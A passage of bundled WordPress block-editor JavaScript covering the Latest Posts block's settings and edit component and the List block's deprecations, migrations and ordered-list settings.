                    onChange: (value) =&gt; setAttributes({ displayFeaturedImage: value })
                  }
                )
              }
            ),
            displayFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; featuredImageSizeSlug !== &quot;thumbnail&quot; || featuredImageSizeWidth !== null || featuredImageSizeHeight !== null,
                  label: (0, import_i18n97.__)(&quot;Image size&quot;),
                  onDeselect: () =&gt; setAttributes({
                    featuredImageSizeSlug: &quot;thumbnail&quot;,
                    featuredImageSizeWidth: null,
                    featuredImageSizeHeight: null
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_block_editor116.__experimentalImageSizeControl,
                    {
                      onChange: (value) =&gt; {
                        const newAttrs = {};
                        if (value.hasOwnProperty(&quot;width&quot;)) {
                          newAttrs.featuredImageSizeWidth = value.width;
                        }
                        if (value.hasOwnProperty(&quot;height&quot;)) {
                          newAttrs.featuredImageSizeHeight = value.height;
                        }
                        setAttributes(newAttrs);
                      },
                      slug: featuredImageSizeSlug,
                      width: featuredImageSizeWidth,
                      height: featuredImageSizeHeight,
                      imageWidth: defaultImageWidth,
                      imageHeight: defaultImageHeight,
                      imageSizeOptions,
                      imageSizeHelp: (0, import_i18n97.__)(
                        &quot;Select the size of the source image.&quot;
                      ),
                      onChangeImage: (value) =&gt; setAttributes({
                        featuredImageSizeSlug: value,
                        featuredImageSizeWidth: void 0,
                        featuredImageSizeHeight: void 0
                      })
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; !!featuredImageAlign,
                  label: (0, import_i18n97.__)(&quot;Image alignment&quot;),
                  onDeselect: () =&gt; setAttributes({
                    featuredImageAlign: void 0
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_components59.__experimentalToggleGroupControl,
                    {
                      className: &quot;editor-latest-posts-image-alignment-control&quot;,
                      __next40pxDefaultSize: true,
                      label: (0, import_i18n97.__)(&quot;Image alignment&quot;),
                      value: featuredImageAlign || &quot;none&quot;,
                      onChange: (value) =&gt; setAttributes({
                        featuredImageAlign: value !== &quot;none&quot; ? value : void 0
                      }),
                      children: imageAlignmentOptions.map(
                        ({ value, icon: icon4, label }) =&gt; {
                          return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                            import_components59.__experimentalToggleGroupControlOptionIcon,
                            {
                              value,
                              icon: icon4,
                              label
                            },
                            value
                          );
                        }
                      )
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; !!addLinkToFeaturedImage,
                  label: (0, import_i18n97.__)(&quot;Add link to featured image&quot;),
                  onDeselect: () =&gt; setAttributes({
                    addLinkToFeaturedImage: false
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_components59.ToggleControl,
                    {
                      label: (0, import_i18n97.__)(&quot;Add link to featured image&quot;),
                      checked: addLinkToFeaturedImage,
                      onChange: (value) =&gt; setAttributes({
                        addLinkToFeaturedImage: value
                      })
                    }
                  )
                }
              )
            ] })
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)(&quot;Sorting and filtering&quot;),
          resetAll: () =&gt; setAttributes({
            order: &quot;desc&quot;,
            orderBy: &quot;date&quot;,
            postsToShow: 5,
            categories: void 0,
            selectedAuthor: void 0,
            columns: 3
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; order !== &quot;desc&quot; || orderBy !== &quot;date&quot; || postsToShow !== 5 || categories?.length &gt; 0 || !!selectedAuthor,
                label: (0, import_i18n97.__)(&quot;Sort and filter&quot;),
                onDeselect: () =&gt; setAttributes({
                  order: &quot;desc&quot;,
                  orderBy: &quot;date&quot;,
                  postsToShow: 5,
                  categories: void 0,
                  selectedAuthor: void 0
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.QueryControls,
                  {
                    ...{ order, orderBy },
                    numberOfItems: postsToShow,
                    onOrderChange: (value) =&gt; setAttributes({ order: value }),
                    onOrderByChange: (value) =&gt; setAttributes({ orderBy: value }),
                    onNumberOfItemsChange: (value) =&gt; setAttributes({ postsToShow: value }),
                    categorySuggestions,
                    onCategoryChange: selectCategories,
                    selectedCategories: categories,
                    onAuthorChange: (value) =&gt; setAttributes({
                      selectedAuthor: &quot;&quot; !== value ? Number(value) : void 0
                    }),
                    authorList: authorList ?? [],
                    selectedAuthorId: selectedAuthor
                  }
                )
              }
            ),
            postLayout === &quot;grid&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; columns !== 3,
                label: (0, import_i18n97.__)(&quot;Columns&quot;),
                onDeselect: () =&gt; setAttributes({
                  columns: 3
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n97.__)(&quot;Columns&quot;),
                    value: columns,
                    onChange: (value) =&gt; setAttributes({ columns: value }),
                    min: 2,
                    max: !postCount ? MAX_POSTS_COLUMNS : Math.min(MAX_POSTS_COLUMNS, postCount),
                    required: true
                  }
                )
              }
            )
          ]
        }
      )
    ] });
  }
  function LatestPostsEdit({ attributes: attributes2, setAttributes }) {
    const instanceId = (0, import_compose26.useInstanceId)(LatestPostsEdit);
    const {
      postsToShow,
      order,
      orderBy,
      categories,
      selectedAuthor,
      displayFeaturedImage,
      displayPostContentRadio,
      displayPostContent,
      displayPostDate,
      displayAuthor,
      postLayout,
      columns,
      excerptLength,
      featuredImageAlign,
      featuredImageSizeSlug,
      featuredImageSizeWidth,
      featuredImageSizeHeight,
      addLinkToFeaturedImage
    } = attributes2;
    const { latestPosts } = (0, import_data49.useSelect)(
      (select9) =&gt; {
        const { getEntityRecords } = select9(import_core_data24.store);
        const catIds = categories &amp;&amp; categories.length &gt; 0 ? categories.map((cat) =&gt; cat.id) : [];
        const latestPostsQuery = Object.fromEntries(
          Object.entries({
            categories: catIds,
            author: selectedAuthor,
            order,
            orderby: orderBy,
            per_page: postsToShow,
            _embed: &quot;author,wp:featuredmedia&quot;,
            ignore_sticky: true
          }).filter(([, value]) =&gt; typeof value !== &quot;undefined&quot;)
        );
        return {
          latestPosts: getEntityRecords(
            &quot;postType&quot;,
            &quot;post&quot;,
            latestPostsQuery
          )
        };
      },
      [postsToShow, order, orderBy, categories, selectedAuthor]
    );
    const { createWarningNotice } = (0, import_data49.useDispatch)(import_notices9.store);
    const showRedirectionPreventedNotice = (event) =&gt; {
      event.preventDefault();
      createWarningNotice((0, import_i18n97.__)(&quot;Links are disabled in the editor.&quot;), {
        id: `block-library/core/latest-posts/redirection-prevented/${instanceId}`,
        type: &quot;snackbar&quot;
      });
    };
    const hasPosts = !!latestPosts?.length;
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor116.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
      Controls,
      {
        attributes: attributes2,
        setAttributes,
        postCount: latestPosts?.length ?? 0
      }
    ) });
    const blockProps = (0, import_block_editor116.useBlockProps)({
      className: clsx_default({
        &quot;wp-block-latest-posts__list&quot;: true,
        &quot;is-grid&quot;: postLayout === &quot;grid&quot;,
        &quot;has-dates&quot;: displayPostDate,
        &quot;has-author&quot;: displayAuthor,
        [`columns-${columns}`]: postLayout === &quot;grid&quot;
      })
    });
    if (!hasPosts) {
      return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        inspectorControls,
        /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.Placeholder, { icon: pin_default, label: (0, import_i18n97.__)(&quot;Latest Posts&quot;), children: !Array.isArray(latestPosts) ? /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.Spinner, {}) : (0, import_i18n97.__)(&quot;No posts found.&quot;) })
      ] });
    }
    const displayPosts = latestPosts.length &gt; postsToShow ? latestPosts.slice(0, postsToShow) : latestPosts;
    const layoutControls = [
      {
        icon: list_default,
        title: (0, import_i18n97._x)(&quot;List view&quot;, &quot;Latest posts block display setting&quot;),
        onClick: () =&gt; setAttributes({ postLayout: &quot;list&quot; }),
        isActive: postLayout === &quot;list&quot;
      },
      {
        icon: grid_default,
        title: (0, import_i18n97._x)(&quot;Grid view&quot;, &quot;Latest posts block display setting&quot;),
        onClick: () =&gt; setAttributes({ postLayout: &quot;grid&quot; }),
        isActive: postLayout === &quot;grid&quot;
      }
    ];
    const dateFormat = (0, import_date2.getSettings)().formats.date;
    return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor116.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.ToolbarGroup, { controls: layoutControls }) }),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(&quot;ul&quot;, { ...blockProps, children: displayPosts.map((post) =&gt; {
        const titleTrimmed = post.title.rendered.trim();
        let excerpt = post.excerpt.rendered;
        const currentAuthor = getCurrentAuthor(post);
        const excerptElement = document.createElement(&quot;div&quot;);
        excerptElement.innerHTML = excerpt;
        excerpt = excerptElement.textContent || excerptElement.innerText || &quot;&quot;;
        const { url: imageSourceUrl, alt: featuredImageAlt } = getFeaturedImageDetails(post, featuredImageSizeSlug);
        const imageClasses = clsx_default({
          &quot;wp-block-latest-posts__featured-image&quot;: true,
          [`align${featuredImageAlign}`]: !!featuredImageAlign
        });
        const renderFeaturedImage = displayFeaturedImage &amp;&amp; imageSourceUrl;
        const featuredImage = renderFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
          &quot;img&quot;,
          {
            src: imageSourceUrl,
            alt: featuredImageAlt,
            style: {
              maxWidth: featuredImageSizeWidth,
              maxHeight: featuredImageSizeHeight
            }
          }
        );
        const needsReadMore = excerptLength &lt; excerpt.trim().split(&quot; &quot;).length &amp;&amp; post.excerpt.raw === &quot;&quot;;
        const postExcerpt = needsReadMore ? /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
          excerpt.trim().split(&quot; &quot;, excerptLength).join(&quot; &quot;),
          (0, import_element46.createInterpolateElement)(
            (0, import_i18n97.sprintf)(
              /* translators: 1: Hidden accessibility text: Post title */
              (0, import_i18n97.__)(
                &quot;\u2026 &lt;a&gt;Read more&lt;span&gt;: %1$s&lt;/span&gt;&lt;/a&gt;&quot;
              ),
              titleTrimmed || (0, import_i18n97.__)(&quot;(no title)&quot;)
            ),
            {
              a: (
                // eslint-disable-next-line jsx-a11y/anchor-has-content
                /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  &quot;a&quot;,
                  {
                    className: &quot;wp-block-latest-posts__read-more&quot;,
                    href: post.link,
                    rel: &quot;noopener noreferrer&quot;,
                    onClick: showRedirectionPreventedNotice
                  }
                )
              ),
              span: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(&quot;span&quot;, { className: &quot;screen-reader-text&quot; })
            }
          )
        ] }) : excerpt;
        return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(&quot;li&quot;, { children: [
          renderFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(&quot;div&quot;, { className: imageClasses, children: addLinkToFeaturedImage ? /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            &quot;a&quot;,
            {
              href: post.link,
              onClick: showRedirectionPreventedNotice,
              children: featuredImage
            }
          ) : featuredImage }),
          /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            &quot;a&quot;,
            {
              className: &quot;wp-block-latest-posts__post-title&quot;,
              href: post.link,
              dangerouslySetInnerHTML: !!titleTrimmed ? {
                __html: titleTrimmed
              } : void 0,
              onClick: showRedirectionPreventedNotice,
              children: !titleTrimmed ? (0, import_i18n97.__)(&quot;(no title)&quot;) : null
            }
          ),
          displayAuthor &amp;&amp; currentAuthor &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(&quot;div&quot;, { className: &quot;wp-block-latest-posts__post-author&quot;, children: (0, import_i18n97.sprintf)(
            /* translators: byline. %s: author. */
            (0, import_i18n97.__)(&quot;by %s&quot;),
            currentAuthor.name
          ) }),
          displayPostDate &amp;&amp; post.date_gmt &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            &quot;time&quot;,
            {
              dateTime: (0, import_date2.format)(&quot;c&quot;, post.date_gmt),
              className: &quot;wp-block-latest-posts__post-date&quot;,
              children: (0, import_date2.dateI18n)(dateFormat, post.date_gmt)
            }
          ),
          displayPostContent &amp;&amp; displayPostContentRadio === &quot;excerpt&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(&quot;div&quot;, { className: &quot;wp-block-latest-posts__post-excerpt&quot;, children: postExcerpt }),
          displayPostContent &amp;&amp; displayPostContentRadio === &quot;full_post&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
            &quot;div&quot;,
            {
              className: &quot;wp-block-latest-posts__post-full-content&quot;,
              dangerouslySetInnerHTML: {
                __html: post.content.raw.trim()
              }
            }
          )
        ] }, post.id);
      }) })
    ] });
  }

  // packages/block-library/build-module/latest-posts/index.mjs
  var { name: name46 } = block_default46;
  var settings46 = {
    icon: post_list_default,
    example: {},
    edit: LatestPostsEdit,
    deprecated: deprecated_default24
  };
  var init46 = () =&gt; initBlock({ name: name46, metadata: block_default46, settings: settings46 });

  // packages/block-library/build-module/list/index.mjs
  var list_exports = {};
  __export(list_exports, {
    init: () =&gt; init47,
    metadata: () =&gt; block_default47,
    name: () =&gt; name47,
    settings: () =&gt; settings47
  });
  var import_i18n100 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/list/deprecated.mjs
  var import_block_editor117 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/list/utils.mjs
  var import_blocks41 = __toESM(require_blocks(), 1);
  var LIST_STYLES = {
    A: &quot;upper-alpha&quot;,
    a: &quot;lower-alpha&quot;,
    I: &quot;upper-roman&quot;,
    i: &quot;lower-roman&quot;
  };
  function createListBlockFromDOMElement(listElement) {
    const type = listElement.getAttribute(&quot;type&quot;);
    const listAttributes = {
      ordered: &quot;OL&quot; === listElement.tagName,
      anchor: listElement.id ? listElement.id : void 0,
      start: listElement.getAttribute(&quot;start&quot;) ? parseInt(listElement.getAttribute(&quot;start&quot;), 10) : void 0,
      reversed: listElement.hasAttribute(&quot;reversed&quot;) ? true : void 0,
      type: type &amp;&amp; LIST_STYLES[type] ? LIST_STYLES[type] : void 0
    };
    const innerBlocks = Array.from(listElement.children).map(
      (listItem) =&gt; {
        const children = Array.from(listItem.childNodes).filter(
          (node) =&gt; node.nodeType !== node.TEXT_NODE || node.textContent.trim().length !== 0
        );
        children.reverse();
        const [nestedList, ...nodes] = children;
        const hasNestedList = nestedList?.tagName === &quot;UL&quot; || nestedList?.tagName === &quot;OL&quot;;
        if (!hasNestedList) {
          return (0, import_blocks41.createBlock)(&quot;core/list-item&quot;, {
            content: listItem.innerHTML
          });
        }
        const htmlNodes = nodes.map((node) =&gt; {
          if (node.nodeType === node.TEXT_NODE) {
            return node.textContent;
          }
          return node.outerHTML;
        });
        htmlNodes.reverse();
        const childAttributes = {
          content: htmlNodes.join(&quot;&quot;).trim()
        };
        const childInnerBlocks = [
          createListBlockFromDOMElement(nestedList)
        ];
        return (0, import_blocks41.createBlock)(
          &quot;core/list-item&quot;,
          childAttributes,
          childInnerBlocks
        );
      }
    );
    return (0, import_blocks41.createBlock)(&quot;core/list&quot;, listAttributes, innerBlocks);
  }
  function migrateToListV2(attributes2) {
    const { values, start, reversed, ordered, type, ...otherAttributes } = attributes2;
    const list = document.createElement(ordered ? &quot;ol&quot; : &quot;ul&quot;);
    list.innerHTML = values;
    if (start) {
      list.setAttribute(&quot;start&quot;, start);
    }
    if (reversed) {
      list.setAttribute(&quot;reversed&quot;, true);
    }
    if (type) {
      list.setAttribute(&quot;type&quot;, type);
    }
    const [listBlock] = (0, import_blocks41.rawHandler)({ HTML: list.outerHTML });
    return [
      { ...otherAttributes, ...listBlock.attributes },
      listBlock.innerBlocks
    ];
  }
  function migrateTypeToInlineStyle(attributes2) {
    const { type } = attributes2;
    if (type &amp;&amp; LIST_STYLES[type]) {
      return {
        ...attributes2,
        type: LIST_STYLES[type]
      };
    }
    return attributes2;
  }

  // packages/block-library/build-module/list/deprecated.mjs
  var import_jsx_runtime284 = __toESM(require_jsx_runtime(), 1);
  var v0 = {
    attributes: {
      ordered: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      values: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;ol,ul&quot;,
        multiline: &quot;li&quot;,
        __unstableMultilineWrapperTags: [&quot;ol&quot;, &quot;ul&quot;],
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      start: {
        type: &quot;number&quot;
      },
      reversed: {
        type: &quot;boolean&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      color: {
        gradients: true,
        link: true
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: &quot;ol,ul&quot;,
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, values, type, reversed, start } = attributes2;
      const TagName2 = ordered ? &quot;ol&quot; : &quot;ul&quot;;
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.RichText.Content, { value: values, multiline: &quot;li&quot; }) });
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var v121 = {
    attributes: {
      ordered: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      values: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;ol,ul&quot;,
        multiline: &quot;li&quot;,
        __unstableMultilineWrapperTags: [&quot;ol&quot;, &quot;ul&quot;],
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      start: {
        type: &quot;number&quot;
      },
      reversed: {
        type: &quot;boolean&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: &quot;ol,ul&quot;,
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, values, type, reversed, start } = attributes2;
      const TagName2 = ordered ? &quot;ol&quot; : &quot;ul&quot;;
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.RichText.Content, { value: values, multiline: &quot;li&quot; }) });
    },
    migrate: migrateToListV2
  };
  var v211 = {
    attributes: {
      ordered: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      values: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;ol,ul&quot;,
        multiline: &quot;li&quot;,
        __unstableMultilineWrapperTags: [&quot;ol&quot;, &quot;ul&quot;],
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      start: {
        type: &quot;number&quot;
      },
      reversed: {
        type: &quot;boolean&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: &quot;ol,ul&quot;,
      __experimentalSlashInserter: true
    },
    isEligible({ type }) {
      return !!type;
    },
    save({ attributes: attributes2 }) {
      const { ordered, type, reversed, start } = attributes2;
      const TagName2 = ordered ? &quot;ol&quot; : &quot;ul&quot;;
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(TagName2, { ...import_block_editor117.useBlockProps.save({ type, reversed, start }), children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.InnerBlocks.Content, {}) });
    },
    migrate: migrateTypeToInlineStyle
  };
  var v36 = {
    attributes: {
      ordered: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      values: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;ol,ul&quot;,
        multiline: &quot;li&quot;,
        __unstableMultilineWrapperTags: [&quot;ol&quot;, &quot;ul&quot;],
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      start: {
        type: &quot;number&quot;
      },
      reversed: {
        type: &quot;boolean&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      className: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSelector: &quot;ol,ul&quot;,
      __experimentalOnMerge: &quot;true&quot;,
      __experimentalSlashInserter: true
    },
    save({ attributes: attributes2 }) {
      const { ordered, type, reversed, start } = attributes2;
      const TagName2 = ordered ? &quot;ol&quot; : &quot;ul&quot;;
      return /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(
        TagName2,
        {
          ...import_block_editor117.useBlockProps.save({
            reversed,
            start,
            style: {
              listStyleType: ordered &amp;&amp; type !== &quot;decimal&quot; ? type : void 0
            }
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime284.jsx)(import_block_editor117.InnerBlocks.Content, {})
        }
      );
    }
  };
  var deprecated_default25 = [v36, v211, v121, v0];

  // packages/block-library/build-module/list/edit.mjs
  var import_block_editor119 = __toESM(require_block_editor(), 1);
  var import_components61 = __toESM(require_components(), 1);
  var import_data50 = __toESM(require_data(), 1);
  var import_i18n99 = __toESM(require_i18n(), 1);
  var import_blocks42 = __toESM(require_blocks(), 1);
  var import_element49 = __toESM(require_element(), 1);
  var import_deprecated26 = __toESM(require_deprecated(), 1);

  // packages/block-library/build-module/list/ordered-list-settings.mjs
  var import_i18n98 = __toESM(require_i18n(), 1);
  var import_block_editor118 = __toESM(require_block_editor(), 1);
  var import_components60 = __toESM(require_components(), 1);
  var import_element47 = __toESM(require_element(), 1);
  var import_jsx_runtime285 = __toESM(require_jsx_runtime(), 1);
  var LIST_STYLE_OPTIONS = [
    {
      label: (0, import_i18n98.__)(&quot;Numbers&quot;),
      value: &quot;decimal&quot;
    },
    {
      label: (0, import_i18n98.__)(&quot;Uppercase letters&quot;),
      value: &quot;upper-alpha&quot;
    },
    {
      label: (0, import_i18n98.__)(&quot;Lowercase letters&quot;),
      value: &quot;lower-alpha&quot;
    },
    {
      label: (0, import_i18n98.__)(&quot;Uppercase Roman numerals&quot;),
      value: &quot;upper-roman&quot;
    },
    {
      label: (0, import_i18n98.__)(&quot;Lowercase Roman numerals&quot;),
      value: &quot;lower-roman&quot;
    }
  ];
  var OrderedListSettings = ({ setAttributes, reversed, start, type }) =&gt; {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(import_block_editor118.InspectorControls, { children: import_element47.Platform.isNative ? /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(import_components60.PanelBody, { title: (0, import_i18n98.__)(&quot;Settings&quot;), children: [
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.SelectControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n98.__)(&quot;List style&quot;),
          options: LIST_STYLE_OPTIONS,
          value: type,
          onChange: (newValue) =&gt; setAttributes({ type: newValue })
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n98.__)(&quot;Start value&quot;),
          type: &quot;number&quot;,
          onChange: (value) =&gt; {
            const int = parseInt(value, 10);
            setAttributes({
              // It should be possible to unset the value,
              // e.g. with an empty string.
              start: isNaN(int) ? void 0 : int
            });
          },
          value: Number.isInteger(start) ? start.toString(10) : &quot;&quot;,
          step: &quot;1&quot;
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
        import_components60.ToggleControl,
        {
          label: (0, import_i18n98.__)(&quot;Reverse order&quot;),
          checked: reversed || false,
          onChange: (value) =&gt; {
            setAttributes({
              // Unset the attribute if not reversed.
              reversed: value || void 0
            });
          }
        }
      )
    ] }) : /* @__PURE__ */ (0, import_jsx_runtime285.jsxs)(
      import_components60.__experimentalToolsPanel,
      {
        label: (0, import_i18n98.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            type: void 0,
            start: void 0,
            reversed: void 0
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)(&quot;List style&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!type,
              onDeselect: () =&gt; setAttributes({
                type: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n98.__)(&quot;List style&quot;),
                  options: LIST_STYLE_OPTIONS,
                  value: type || &quot;decimal&quot;,
                  onChange: (newValue) =&gt; setAttributes({ type: newValue })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)(&quot;Start value&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!start,
              onDeselect: () =&gt; setAttributes({
                start: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n98.__)(&quot;Start value&quot;),
                  type: &quot;number&quot;,
                  onChange: (value) =&gt; {
                    const int = parseInt(value, 10);
                    setAttributes({
                      // It should be possible to unset the value,
                      // e.g. with an empty string.
                      start: isNaN(int) ? void 0 : int
                    });
                  },
                  value: Number.isInteger(start) ? start.toString(10) : &quot;&quot;,
                  step: &quot;1&quot;
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
            import_components60.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n98.__)(&quot;Reverse order&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!reversed,
              onDeselect: () =&gt; setAttributes({
                reversed: void 0
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime285.jsx)(
                import_components60.ToggleControl,
                {
                  label: (0, import_i18n98.__)(&quot;Reverse order&quot;),
                  checked: reversed || false,
                  onChange: (value) =&gt; {
                    setAttributes({
                      // Unset the attribute if not reversed.
                      reversed: value || void 0
                    });
                  }
                }
              )
            }
          )
        ]
      }
    ) });
  };
  var ordered_list_settings_default = OrderedListSettings;

  // packages/block-library/build-module/list/tag-name.mjs
  var import_element48 = __toESM(require_element(), 1);
  var import_jsx_runtime286 = __toESM(require_jsx_runtime(), 1);
  function TagName(props, ref) {
    const { ordered, ...extraProps } = props;
    const Tag = ordered ? &quot;ol&quot; : &quot;ul&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime286.jsx)(Tag, { ref, ...extraProps });
  }
  var tag_name_default = (0, import_element48.forwardRef)(TagName);

  // packages/block-library/build-module/list/edit.mjs
  var import_jsx_runtime287 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK4 = {
